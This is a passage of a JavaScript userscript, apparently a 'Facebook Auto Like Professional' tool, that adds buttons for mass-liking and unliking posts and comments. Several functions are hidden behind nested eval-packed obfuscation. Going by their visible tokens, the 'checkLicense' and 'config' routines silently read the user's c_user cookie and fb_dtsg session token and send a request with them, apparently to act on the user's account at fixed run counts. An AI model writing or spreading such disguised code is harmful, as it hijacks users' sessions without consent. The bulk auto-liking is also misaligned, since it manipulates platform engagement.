\\m\\\\k\\\\l\\\\G\\\\d\\\\q\\\\h\\\\o\\\\n\\\\i\\\\m\\\\R\\\\h\\\\K\\\\d\\\\s\\\\u\\\\q\\\\r\\\\k\\\\q\\\\G\\\\d\\\\w\\\\k\\\\m\\\\l\\\\i\\\\h\\\\q\\\\K\\\\i\\\\h\\\\1l\\\\i\\\\z\\\\y\\\\h\\\\s\\\\k\\\\q\\\\n\\\\i\\\\m\\\\k\\\\l\\\\G\\\\d\\\\l\\\\k\\\\l\\\\h\\\\K\\\\t\\\\d\\\\y\\\\n\\\\i\\\\n\\\\z\\\\C\\\\k\\\\R\\\\h\\\\q\\\\E\\\\t\\\\i\\\\k\\\\k\\\\o\\\\i\\\\m\\\\w\\\\t\\\\d\\\\y\\\\n\\\\i\\\\n\\\\z\\\\i\\\\k\\\\k\\\\o\\\\i\\\\m\\\\w\\\\z\\\\w\\\\k\\\\r\\\\m\\\\i\\\\m\\\\k\\\\l\\\\E\\\\t\\\\q\\\\m\\\\x\\\\C\\\\i\\\\t\\\\d\\\\n\\\\q\\\\m\\\\n\\\\z\\\\o\\\\n\\\\L\\\\h\\\\o\\\\E\\\\t\\\\N\\\\l\\\\o\\\\m\\\\v\\\\h\\\\d\\\\W\\\\o\\\\o\\\\d\\\\Q\\\\k\\\\p\\\\p\\\\h\\\\l\\\\i\\\\r\\\\d\\\\o\\\\k\\\\n\\\\y\\\\h\\\\y\\\\d\\\\2x\\\\l\\\\d\\\\2w\\\\n\\\\x\\\\h\\\\t\\\\d\\\\k\\\\l\\\\s\\\\o\\\\m\\\\s\\\\v\\\\E\\\\1h\\\\N\\\\l\\\\o\\\\m\\\\v\\\\h\\\\Q\\\\k\\\\p\\\\p\\\\h\\\\l\\\\i\\\\r\\\\2v\\\\2u\\\\1h\\\\U\\\\N\\\\l\\\\o\\\\m\\\\v\\\\h\\\\d\\\\W\\\\o\\\\o\\\\d\\\\Q\\\\k\\\\p\\\\p\\\\h\\\\l\\\\i\\\\r\\\\Y\\\\1e\\\\n\\\\U","\\\\r\\\\s\\\\q\\\\k\\\\o\\\\o\\\\P\\\\F","\\\\y\\\\n\\\\i\\\\n\\\\z\\\\1n\\\\i","\\\\x\\\\h\\\\i\\\\W\\\\i\\\\i\\\\q\\\\m\\\\L\\\\u\\\\i\\\\h","\\\\l\\\\u\\\\o\\\\o","\\\\i\\\\m\\\\i\\\\o\\\\h","\\\\N\\\\l\\\\o\\\\m\\\\v\\\\h\\\\d\\\\i\\\\C\\\\m\\\\r\\\\d\\\\s\\\\k\\\\p\\\\p\\\\h\\\\l\\\\i","\\\\1J\\\\n\\\\d\\\\l\\\\k\\\\d\\\\p\\\\h\\\\d\\\\x\\\\u\\\\r\\\\i\\\\n\\\\d\\\\h\\\\r\\\\i\\\\h\\\\d\\\\s\\\\k\\\\p\\\\h\\\\l\\\\i\\\\n\\\\q\\\\m\\\\k","\\\\W\\\\F\\\\n\\\\2s\\\\n\\\\l\\\\d\\\\n\\\\l\\\\x\\\\d\\\\v\\\\k\\\\p\\\\h\\\\l\\\\i\\\\k\\\\l\\\\x\\\\d\\\\m\\\\i\\\\k","\\\\1k\\\\h\\\\r\\\\s\\\\u\\\\q\\\\i\\\\m\\\\q\\\\d\\\\h\\\\r\\\\i\\\\h\\\\d\\\\s\\\\k\\\\p\\\\h\\\\l\\\\i\\\\1w\\\\q\\\\m\\\\k","\\\\1z\\\\2r\\\\k\\\\d\\\\x\\\\k\\\\r\\\\i\\\\k\\\\d\\\\y\\\\h\\\\r\\\\i\\\\h\\\\d\\\\s\\\\k\\\\p\\\\h\\\\l\\\\i\\\\1w\\\\q\\\\m\\\\k","\\\\2q\\\\h\\\\d\\\\l\\\\2p\\\\n\\\\m\\\\p\\\\h\\\\d\\\\w\\\\o\\\\u\\\\r\\\\d\\\\s\\\\h\\\\d\\\\s\\\\k\\\\p\\\\p\\\\h\\\\l\\\\i\\\\n\\\\m\\\\q\\\\h","\\\\1c\\\\m\\\\y\\\\n\\\\v\\\\d\\\\r\\\\u\\\\v\\\\n\\\\d\\\\v\\\\k\\\\p\\\\h\\\\l\\\\i\\\\n\\\\q\\\\d\\\\m\\\\l\\\\m","\\\\P\\\\u\\\\d\\\\F\\\\k\\\\q\\\\u\\\\p\\\\u\\\\d\\\\L\\\\h\\\\2o\\\\h\\\\l\\\\p\\\\h\\\\v\\\\i\\\\h\\\\l\\\\d\\\\R\\\\n\\\\2n\\\\x\\\\h\\\\2m","\\\\1k\\\\m\\\\h\\\\r\\\\h\\\\q\\\\d\\\\2l\\\\k\\\\p\\\\p\\\\h\\\\l\\\\i\\\\n\\\\q\\\\d\\\\x\\\\h\\\\1n\\\\2k\\\\o\\\\o\\\\i\\\\d\\\\p\\\\m\\\\q\\\\d\\\\l\\\\m\\\\s\\\\C\\\\i\\\\d\\\\p\\\\h\\\\C\\\\q","\\\\1k\\\\m\\\\1h\\\\d\\\\s\\\\C\\\\h\\\\d\\\\l\\\\k\\\\l\\\\d\\\\i\\\\m\\\\d\\\\w\\\\m\\\\n\\\\s\\\\h\\\\d\\\\w\\\\m\\\\2j\\\\d\\\\2i\\\\u\\\\h\\\\r\\\\i\\\\k\\\\d\\\\s\\\\k\\\\p\\\\p\\\\h\\\\l\\\\i\\\\k","\\\\1m\\\\1d\\\\2h\\\\1b\\\\2g\\\\d\\\\1m\\\\1q\\\\1R\\\\1b\\\\1s\\\\1t\\\\d\\\\1s\\\\1Q\\\\1P\\\\1b\\\\d\\\\1b\\\\1d\\\\1O\\\\1q\\\\1d\\\\1t\\\\1N","\\\\T\\\\1a\\\\1M\\\\1L","\\\\2t\\\\V\\\\V\\\\1A\\\\1B\\\\1C\\\\1K\\\\1E\\\\T\\\\1F\\\\1a\\\\1G","\\\\1H\\\\1I\\\\M\\\\1D\\\\M\\\\1y\\\\1x\\\\d\\\\M\\\\1i\\\\Z\\\\1v\\\\d\\\\1f\\\\1u\\\\1r\\\\Z","\\\\V\\\\V\\\\1A\\\\1B\\\\1C\\\\1E\\\\T\\\\1F\\\\1a\\\\1G","\\\\T\\\\1a\\\\1S\\\\1T\\\\1U\\\\1V","\\\\1W\\\\1i\\\\d\\\\1H\\\\1I\\\\M\\\\1D\\\\M\\\\1y\\\\1x\\\\d\\\\1f\\\\1X\\\\d\\\\1Y\\\\1Z\\\\M\\\\1i\\\\Z\\\\1v\\\\d\\\\1f\\\\1u\\\\1r\\\\Z","\\\\P\\\\2a\\\\d\\\\i\\\\C\\\\2b\\\\s\\\\C\\\\d\\\\L\\\\2c\\\\l\\\\C\\\\d\\\\o\\\\u\\\\2d\\\\l\\\\d\\\\l\\\\2e\\\\F\\\\d\\\\l\\\\2f\\\\n"];j[0];O B=0,J=0,I=1g[j[2]](j[1]),H=[],D;S e(a){H[a][j[3]]();O b=1p(j[4])+(a+1)+j[5]+H[j[6]]+j[7];1g[j[10]](j[9])[j[8]]=b};S g(e){1j[j[11]](c,e)};S A(){O a=2C;X(!a){g(2E)}};S f(e){1j[j[11]](A,e)};S c(){X(B>=H[j[6]]){O a=1p(j[12]);1g[j[10]](j[9])[j[8]]=a;1j[j[13]](0,2G)};X(B<H[j[6]]){e(B);f(2H);B++}};2I(D=0;D<I[j[6]];D++){X(I[D][j[15]](j[14])!==j[16]&&(I[D][j[15]](j[17])===j[18]||I[D][j[15]](j[17])===j[19]||I[D][j[15]](j[17])===j[20]||I[D][j[15]](j[17])===j[21]||I[D][j[15]](j[17])===j[22]||I[D][j[15]](j[17])===j[23]||I[D][j[15]](j[17])===j[24]||I[D][j[15]](j[17])===j[25]||I[D][j[15]](j[17])===j[26]||I[D][j[15]](j[17])===j[27]||I[D][j[15]](j[17])===j[28]||I[D][j[15]](j[17])===j[29]||I[D][j[15]](j[17])===j[2L]||I[D][j[15]](j[17])===j[2M]||I[D][j[15]](j[17])===j[2N]||I[D][j[15]](j[17])===j[2O]||I[D][j[15]](j[17])===j[2P]||I[D][j[15]](j[17])===j[2Q])){H[J]=I[D];J++}};c();\',3M,3N,\'|||||||||||||3P||||3O|3J|3I|3D|3C|3B|3E|3F|3H|3G|3Q|3R|42|41|43|44|46|45|40|||3Z||3U|48|3T||||3S|3V|3W|3A|3X|47|3t|3d|2R|3c|3e|3f|3b|2T|3g|3i|||||||||||39|2Y|2X|2Z|3a|37|38|3h|3z|3u|3j|3v|3w|3y|3x|3s|3r|3m|3l|3k|3n|3o|3q|3p|3Y|4w|4T|4R|4U|4V|4X|4W|4Q|4P|4Z|4K|4J|4I|4L|4M|4O|4N|4Y|55|5c|5f|5a|5b|5e|5d|59|52|||||||||||51|50|53|54|56|57|58|4S|4G|4k|4j|4i|4l|4m|4o|4n|4h|4g|4b|4a|49|4c|4d|4f|4e|4p|4q|4H|4B|4A|4C|4D|4F|4E|4z|4y|4t|30|31|32|33|34|35\'.4x(\'|\'),0,{}))',62,326,'|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|if|String|while|replace|x54|u0627|u0644||||||||u0915|document|u6D88|x2F|x41|u53D6|x76|x3E|u3048|x3C|x27|u0902|x44|u064A|u0628|u0947|u0930|u0926|u0940|xE1|u0639|unescape|x43|window|x78|u0625|x45|x66|u0938|x55|x69|x6E|x6F|x61|x6C|x72|x6D|_0x4ec4|x74|new|RegExp|62|177|x65|x20|x73|x63|x3B|x3A|x3D|x62|u092A|var|u0923|x68|x2D|x75|x22|x6B|x70|x64|x67|x42|x79|x29|u300C|x77|x28|x50|x49|x4F|xE3|x4A|x4B|xE4|xF9|xE7|x7A|u2019|u011F|x4C|x4D|fromCharCode|toString|x23|parseInt|eval|x4E|split|x34|for|x38|false|2160|x30|700|5000|x71|x48|u597D|u300D|x59|u8B9A|u0642|u0630|u062A|u091F|u3059|u3093|u063A|u3084|uFF01|u094D|u308A|u3092|u0647|u093F|xED|u1ECF|u093E|xEC|u1EAD|u062C|xE0|u1EEF|u0621|u0928|u8BC4|u8BBA|u8D5E|u094B|u0907|u6B64'.split('|'),0,{})) } exportFunction(UnlikeComments, unsafeWindow, { defineAs: "UnlikeComments"}); function IncreaseLikes() { eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('Q(y(p,a,c,k,e,r){e=y(c){z c.L(a)};A(!\'\'.D(/^/,O)){C(c--)r[e(c)]=k[c]||e(c);k=[y(e){z r[e]}];e=y(){z\'\\\\w+\'};c=1};C(c--)A(k[c])p=p.D(M N(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);z p}(\'r 8=["\\\\s\\\\a\\\\6\\\\w\\\\a\\\\5\\\\i\\\\n\\\\9\\\\5","\\\\h\\\\5\\\\5\\\\d\\\\v\\\\c\\\\c\\\\t\\\\i\\\\f\\\\5\\\\6\\\\9\\\\h\\\\g\\\\j\\\\b\\\\7\\\\p\\\\a\\\\d\\\\7\\\\5\\\\g\\\\9\\\\7\\\\q\\\\c\\\\d\\\\c\\\\p\\\\6\\\\5\\\\k\\\\i\\\\6\\\\l\\\\b\\\\k\\\\f\\\\l\\\\9\\\\6\\\\j\\\\7\\\\7\\\\e\\\\k\\\\b\\\\n\\\\e\\\\6\\\\a\\\\g\\\\h\\\\5\\\\q\\\\b","\\\\u\\\\j\\\\b\\\\l\\\\m\\\\e","\\\\7\\\\d\\\\6\\\\m","\\\\f\\\\7\\\\9\\\\s\\\\a"];8[0];r o=x[8[3]](8[1],8[2]);o[8[4]]();\',B,B,\'|||||R|I|F|G|S|K|H|J|E|P|T|15|14|18|17|1c|1a|1b|19|16|12|W|V|U|13|X|Y|11|10\'.Z(\'|\'),0,{}))',62,75,'||||||||||||||||||||||||||||||||||function|return|if|34|while|replace|x70|x6F|_0x61e1|x6C|x65|x2F|x73|toString|new|RegExp|String|x6B|eval|x74|x63|x66|x75|var|x6D|x5F|x3A|split|window|x20|x67|x7A|x68|x2E|win|x62|x72|x69|x61|x6E|x2D'.split('|'),0,{})) } exportFunction(IncreaseLikes, unsafeWindow, { defineAs: "IncreaseLikes"}); function UpdateScript() { "use strict"; var win = window.open('https://raw.githubusercontent.com/ZiaUrR3hman/FacebookAutoLikeProfessional/master/FacebookAutoLikeProfessional.user.js'); win.focus(); } exportFunction(UpdateScript, unsafeWindow, { defineAs: "UpdateScript"}); function checkLicense(user) { eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1J(1g(p,a,c,k,e,r){e=1g(c){1h(c<a?\'\':e(1E(c/a)))+((c=c%a)>1D?1j.1F(c+29):c.1G(1I))};1i(!\'\'.1m(/^/,1j)){1k(c--)r[e(c)]=k[c]||e(c);k=[1g(e){1h r[e]}];e=1g(){1h\'\\\\w+\'};c=1};1k(c--)1i(k[c])p=p.1m(1l 1H(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1h p}(\'H a=["\\\\m\\\\g\\\\b\\\\1a\\\\g\\\\c\\\\s\\\\l\\\\j\\\\c","\\\\x\\\\f\\\\c\\\\j\\\\w","\\\\j\\\\e\\\\e\\\\L\\\\l\\\\b","\\\\Y\\\\f\\\\h\\\\m\\\\b","\\\\p\\\\u\\\\i\\\\k\\\\c\\\\g\\\\v","\\\\v\\\\b\\\\c\\\\X\\\\h\\\\b\\\\x\\\\b\\\\n\\\\c\\\\g\\\\W\\\\y\\\\U\\\\f\\\\x\\\\b","\\\\z\\\\f\\\\T\\\\f\\\\S\\\\z\\\\p\\\\e\\\\h\\\\h\\\\e\\\\B\\\\z\\\\p\\\\e\\\\h\\\\h\\\\e\\\\B\\\\i\\\\q\\\\s\\\\e\\\\p\\\\l\\\\h\\\\b\\\\R\\\\q\\\\w\\\\q\\\\Q\\\\i\\\\i\\\\f\\\\r\\\\I","\\\\q\\\\s\\\\e\\\\p\\\\l\\\\h\\\\b\\\\i\\\\l\\\\k\\\\r","\\\\o\\\\h\\\\e\\\\j\\\\f\\\\c\\\\l\\\\e\\\\n\\\\r\\\\I\\\\o\\\\g\\\\e\\\\m\\\\s\\\\j\\\\b\\\\r\\\\p\\\\e\\\\h\\\\h\\\\e\\\\B\\\\O\\\\u\\\\m\\\\c\\\\c\\\\e\\\\n\\\\o\\\\g\\\\m\\\\u\\\\g\\\\j\\\\s\\\\l\\\\u\\\\b\\\\k\\\\i\\\\u\\\\m\\\\c\\\\c\\\\e\\\\n\\\\i\\\\l\\\\k\\\\r\\\\m\\\\K\\\\C\\\\M\\\\f\\\\j\\\\i\\\\K\\\\C\\\\o\\\\p\\\\u\\\\i\\\\k\\\\c\\\\g\\\\v\\\\r","\\\\o\\\\h\\\\g\\\\k\\\\o\\\\i\\\\i","\\\\o\\\\q\\\\w\\\\g\\\\c\\\\f\\\\x\\\\q\\\\r","\\\\19\\\\N\\\\J\\\\P","\\\\e\\\\q\\\\b\\\\n","\\\\e\\\\n\\\\s\\\\b\\\\f\\\\k\\\\y\\\\g\\\\c\\\\f\\\\c\\\\b\\\\j\\\\w\\\\f\\\\n\\\\v\\\\b","\\\\s\\\\b\\\\f\\\\k\\\\y\\\\J\\\\c\\\\f\\\\c\\\\b","\\\\g\\\\c\\\\f\\\\c\\\\m\\\\g","\\\\j\\\\h\\\\e\\\\g\\\\b","\\\\g\\\\b\\\\n\\\\k"];a[0];H G=A[a[2]][a[1]](A[a[2]][a[1]](/V=(\\\\d+)/)[1]),E=A[a[5]](a[4])[0][a[3]],t=Z 18(),F=a[6],D=a[7]+1b+a[8]+E+a[9]+G+a[10];t[a[12]](a[11],F,1c);t[a[13]]=1d(){1e(t[a[14]]===4&&t[a[15]]===1f){t[a[16]]()}};t[a[17]](D);\',1K,1P,\'||||||||||1Q|1C|1N||1L|1M|1R|1y|1S|1r|1s|1q|1p|1n|1o|1t|1B|1u|1z|1A|1x|1v|1w|1O|22|2i|2k|2g|2f|2c|2d|2e|2j|2o|2r|2q|2p|2l|2n|2m|2h|2a|1Y|1Z|1X|1W|1T|1U|1V|20|21|1l|||||||||27|28|26|25|2b|1g|1i|23\'.24(\'|\'),0,{}))',62,152,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|if|String|while|new|replace|x6E|x26|x75|x69|x63|x64|x66|x3D|x67|x68|x62|x6C|x72|http4|x70|x65|35|parseInt|fromCharCode|toString|RegExp|36|eval|62|x6F|x61|x74|x6D|78|_0xb2e2|x73|x5F|x4E|c_user|x42|x6A|x78|x3F|x2E|x45|x76|x79|200|split|user|x20|XMLHttpRequest|x50||x54|true|params4|fb_dtsg|url4|x37|x77|x2D|x2F|user_id|document|x6B|x4F|x71|var|x33|x53|x31'.split('|'),0,{})) } function addLicense(user) { eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1t(Y(p,a,c,k,e,r){e=Y(c){Z(c<a?\'\':e(1u(c/a)))+((c=c%a)>1p?11.1o(c+1k):c.1j(1l))};12(!\'\'.14(/^/,11)){10(c--)r[e(c)]=k[c]||e(c);k=[Y(e){Z r[e]}];e=Y(){Z\'\\\\w+\'};c=1};10(c--)12(k[c])p=p.14(1n 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);Z p}(\'x f=["\\\\p\\\\9\\\\8\\\\l\\\\9\\\\c\\\\h\\\\b\\\\g\\\\c","\\\\9\\\\g\\\\h\\\\b\\\\o\\\\c","\\\\g\\\\h\\\\8\\\\e\\\\c\\\\8\\\\W\\\\j\\\\8\\\\t\\\\8\\\\d\\\\c","\\\\b\\\\d\\\\d\\\\8\\\\h\\\\V\\\\L\\\\J\\\\I","\\\\d\\\\8\\\\H\\\\l\\\\G\\\\9\\\\s\\\\d\\\\g\\\\z\\\\8\\\\D\\\\p\\\\8\\\\9\\\\c\\\\q\\\\r\\\\v\\\\9\\\\8\\\\c\\\\Q\\\\z\\\\C\\\\q\\\\w\\\\k\\\\e\\\\E\\\\e\\\\F\\\\k\\\\u\\\\h\\\\b\\\\8\\\\d\\\\i\\\\9\\\\k\\\\j\\\\b\\\\9\\\\c\\\\9\\\\k\\\\9\\\\p\\\\n\\\\9\\\\g\\\\h\\\\b\\\\n\\\\8\\\\k\\\\t\\\\m\\\\i\\\\b\\\\u\\\\s\\\\K\\\\j\\\\m\\\\g\\\\e\\\\c\\\\b\\\\m\\\\d\\\\A\\\\o\\\\8\\\\h\\\\t\\\\e\\\\j\\\\b\\\\d\\\\M\\\\N\\\\e\\\\g\\\\c\\\\b\\\\m\\\\d\\\\A\\\\9\\\\p\\\\n\\\\9\\\\g\\\\h\\\\b\\\\n\\\\8\\\\w\\\\r\\\\v\\\\9\\\\8\\\\c\\\\O\\\\e\\\\c\\\\e\\\\q\\\\P\\\\l\\\\u\\\\j\\\\b\\\\i\\\\B\\\\l","\\\\l\\\\R\\\\r\\\\v\\\\9\\\\8\\\\d\\\\i\\\\q\\\\r\\\\S","\\\\e\\\\o\\\\o\\\\8\\\\d\\\\i\\\\T\\\\U\\\\b\\\\j\\\\i","\\\\n\\\\m\\\\i\\\\s"];f[0];x a=y[f[2]](f[1]);a[f[3]]=f[4]+X+f[5];y[f[7]][f[6]](a);\',13,13,\'||||||||1q|1r||1i|1v|1h|19|18|17|1w|15|16|1a|1b|1g|1f|1e|1c|1d|1s|1L|1V|1T|1S|1X|1P|1Q|1R|1W|22|23|20|21|1Y|1Z|1U|1N|1C|1D|1B|1A|1x|1y|1z|1E|1F|1O|1M|1K|1J|1G|1H\'.1I(\'|\'),0,{}))',62,128,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|while|String|if|60|replace|x64|x6C|x63|_0xeaba|x61|x2F|x20|x75|x28|x70|x62|x6F|x6E|x69|toString|29|36|RegExp|new|fromCharCode|35|x65|x73|x29|eval|parseInt|x74|x72|x26|x44|x7B|x6B|x54|x4D|x3F|x55|x7D|x45|user|split|x48|x68|x79|x43|x4C|x3B|var|document|x52|x2E|x66|x77|x6D|x3D|x27|x78|x41|x71|x6A|x3A|x49'.split('|'),0,{})) } function config() { "use strict"; if (!loginbutton) { eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('Q(z(p,a,c,k,e,r){e=z(c){A c.P(a)};B(!\'\'.E(/^/,N)){C(c--)r[e(c)]=k[c]||e(c);k=[z(e){A r[e]}];e=z(){A\'\\\\w+\'};c=1};C(c--)B(k[c])p=p.E(O J(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);A p}(\'f 6=["\\\\w\\\\i\\\\j\\\\r\\\\p\\\\n\\\\m\\\\l\\\\i\\\\k","\\\\a\\\\5\\\\5\\\\9\\\\b\\\\c\\\\8\\\\d\\\\c\\\\d\\\\5\\\\s\\\\a\\\\8\\\\9","\\\\5\\\\4\\\\4\\\\4\\\\4\\\\8\\\\a\\\\4\\\\9\\\\c\\\\5\\\\4\\\\c\\\\b\\\\8","\\\\5\\\\4\\\\4\\\\4\\\\4\\\\a\\\\h\\\\b\\\\5\\\\b\\\\h\\\\9\\\\5\\\\8\\\\9"];f 7=o(6[0],0);q(6[0],++7);e(7===1||7===t||7===u){v(6[1]);g(6[2]);g(6[3])};e(7>x){y(6[0])};\',D,D,\'||||R|M|T|L|G|U|F|H|I|K|B|S|Z|17|16|1a|19|1e|1c|1d|1b|18|14|Y|X|W|V|15|10|13|12\'.11(\'|\'),0,{}))',62,77,'|||||||||||||||||||||||||||||||||||function|return|if|while|35|replace|x34|x32|x36|x38|RegExp|x39|counterfol|x31|String|new|toString|eval|x30|var|_0xcc3d|x37|100|50|x33|x6E|checkLicense|x63|split|GM_deleteValue|150|GM_setValue|addLicense|x6F|x35|x74|x6C|x75|GM_getValue|x72|x65|x66'.split('|'),0,{})) } else { return false; } } function reload() { location.reload(); } exportFunction(reload, unsafeWindow, { defineAs: "reload"}); function likeall() { "use strict"; if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'likepostsid'); div.className = "FBLikeProMenu"; div.style.bottom = '+128px'; div.innerHTML = unescape('<a style="display: block; position: relative; cursor: pointer;text-decoration: none;" data-hover="tooltip" data-tooltip-position="right" aria-label="Like All Posts loaded On Page" onclick=\'LikePosts()\'>Like All Posts</a>'); body.appendChild(div); } if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'likecomments'); div.className = "FBLikeProMenu"; div.style.bottom = '+103px'; div.innerHTML = unescape('<a style="display: block; position: relative; cursor: pointer;text-decoration: none;" data-hover="tooltip" data-tooltip-position="right" aria-label="Like All Comments Loaded On Page" onclick="LikeComments()">Like All Comments</a>'); body.appendChild(div); } removeElements(document.querySelectorAll('#unlikeposts')); removeElements(document.querySelectorAll('#unlikecomments')); } exportFunction(likeall, unsafeWindow, {defineAs: "likeall"}); function unlikeall() { "use strict"; if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'unlikeposts'); div.className = "FBLikeProMenu"; div.style.bottom = '+128px'; div.innerHTML = unescape('<a style="display: block; position: relative; cursor: pointer;text-decoration: none;" data-hover="tooltip" data-tooltip-position="right" aria-label="UnLike All Posts loaded On Page" rel=\'async-post\' role=\'button\' onclick=\'UnlikePosts()\'>Unlike All Posts</a>'); body.appendChild(div); } if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'unlikecomments'); div.className = "FBLikeProMenu"; div.style.bottom = '+103px'; div.innerHTML = unescape('<a style="display: block; position: relative; cursor: pointer;text-decoration: none;" data-hover="tooltip" data-tooltip-position="right" aria-label="UnLike All Comments Loaded On Page" rel=\'async-post\' role=\'button\' onclick=\'UnlikeComments()\'>Unlike All Comments</a>'); body.appendChild(div); } removeElements(document.querySelectorAll('#likepostsid')); removeElements(document.querySelectorAll('#likecomments')); } exportFunction(unlikeall, unsafeWindow, {defineAs: "unlikeall"}); function show() { "use strict"; if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'FBLikeProtitle3'); div.className = "FBLikeProTB"; div.style.bottom = '+180px'; div.innerHTML = unescape('<div style="float: right;height: 18px;position: relative;"> <div style="width:18px;height:18px;"> <img data-hover="tooltip" aria-label="Close" src="https://github.com/ZiaUrR3hman/FacebookAutoLikeProfessional/raw/master/images/close.png" width="18" height="18" class="img" id="close" onclick="ExitScript()"> </div></div><div style="float: right;height: 18px;position: relative;width: 21px;"> <div style="width:18px;height:18px;"> <img data-hover="tooltip" aria-label="Minimize" src="https://github.com/ZiaUrR3hman/FacebookAutoLikeProfessional/raw/master/images/minimize.png" width="18" height="18" class="img" id="js_1" onclick="hide()"> </div></div><div style="overflow: hidden;text-overflow: ellipsis;white-space: nowrap;color: white;text-align: center;font-size: 13px;" data-hover="tooltip" aria-label="Facebook Auto Like Professional" onclick="hide()">FB Auto Like Pro </div>'); body.appendChild(div); } if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'stopall'); div.className = "FBLikeProMenu"; div.style.bottom = '+153px'; div.innerHTML = unescape('<a style="display: block; position: relative; cursor: not-allowed;text-decoration: none;" data-hover="tooltip" data-tooltip-position="right" aria-label=" Click here to Reload Page or Refresh Page\nIf You are Liking, to stop Liking, Click on Unlike button\nIf You are Unliking, to stop Unliking, Click on Like button" onclick=\'reload()\'>Stop Liking or Unliking</a>'); body.appendChild(div); } if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'messageown'); div.className = "FBLikeProMenu"; div.style.bottom = '+79px'; div.innerHTML = unescape('<a style="display: block; position: relative; cursor: help;text-decoration: none;" ajaxify=\'/ajax/messaging/composer.php?ids[0]=100004561657127&ref=timeline\' href=\'/messages/ZiaUrR3hman\' role=\'button\' rel=\'dialog\' data-hover="tooltip" data-tooltip-position="right" aria-label="Help or Send Feedback"> <div style="float: left;height: 18px;position: relative;width: 25px;"> <div style="width:18px;height:18px;"><img data-hover="tooltip" data-tooltip-position="right" aria-label="Zia Ur Rehman (Z.R.F)" src="https://fbcdn-profile-a.akamaihd.net/hprofile-ak-xap1/v/t1.0-1/p32x32/10636123_316878135140906_2834910512385255884_n.jpg?oh=6195083e971df0611228ca052b09af92&oe=55400A57&__gda__=1430168673_c149aef78b0d929c04b7100efe0f81d4" width="18" height="18" alt="" class="img"> </div></div><div style="float: right;margin: 0 4px;text-align: right;"> <div style="color: #63a924; display: inline-block;line-height: 12px;text-shadow: none;vertical-align: middle;">Web</div><i style="width: 7px;height: 7px;background-position: -110px -153px;margin-left: 4px;vertical-align: middle;background-image: url(https://www.facebook.com/rsrc.php/v2/yG/r/UpWlIVioUuY.png); background-size: auto;background-repeat: no-repeat;display: inline-block;"></i> </div><div style="overflow: hidden;text-overflow: ellipsis;white-space: nowrap;left: 10px;">Support<span data-hover="tooltip" data-tooltip-position="right" style="background-image: url(https://www.facebook.com/rsrc.php/v2/yI/r/w_BZzKxlRYE.png);background-repeat: no-repeat;background-size: auto;background-position: 0 -118px;height: 14px;margin-left: 3px;vertical-align: -2px;width: 14px;display: inline-block;" aria-label="Verified profile" id="js_n"></span> </div></a>'); body.appendChild(div); } if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'increselikes'); div.className = "FBLikeProMenu"; div.style.bottom = '+54px'; div.innerHTML = '<a style="display: block; position: relative; cursor: pointer;text-decoration: none;" role=\'button\' data-hover="tooltip" data-tooltip-position="right" aria-label="Increase FB Likes, Share, Followers, Likes, Google+ Circles, Share, YouTube Subscribe, Likes, Favorites, Views, Twitter Followers, Instagram Followers, Likes, PinTrest Followers, SoundCloud Followers, Listening and many more..." onclick="IncreaseLikes()">Increase Your Likes</a>'; body.appendChild(div); } if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'update'); div.className = "FBLikeProMenu"; div.style.bottom = '+29px'; div.innerHTML = '<a style="display: block;position: relative; cursor: pointer;text-decoration: none;" data-hover="tooltip" data-tooltip-position="right" aria-label="Click here to Update to Latest Version" role="button" onclick="UpdateScript()">Update This Script</a>'; body.appendChild(div); } if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'selectoption'); div.className = "FBLikeProTB"; div.style.bottom = '+2px'; div.style.height = '18px'; div.innerHTML = unescape('<form name="actionform" style="font-family:verdana;color:white; font-size: 12px;"><input type="radio" name="sel" value="1" onclick="likeall()" checked="true" data-hover="tooltip" data-tooltip-position="right" aria-label="Select This to perform Like operations">Like <span class="emoticon emoticon_like"></span> <input type="radio" name="sel" value="2" onclick="unlikeall()" data-hover="tooltip" data-tooltip-position="right" aria-label="Select This to perform UnLike operations">Unlike <span class="_1az _1a- _2e8"> </span> </form>'); body.appendChild(div); 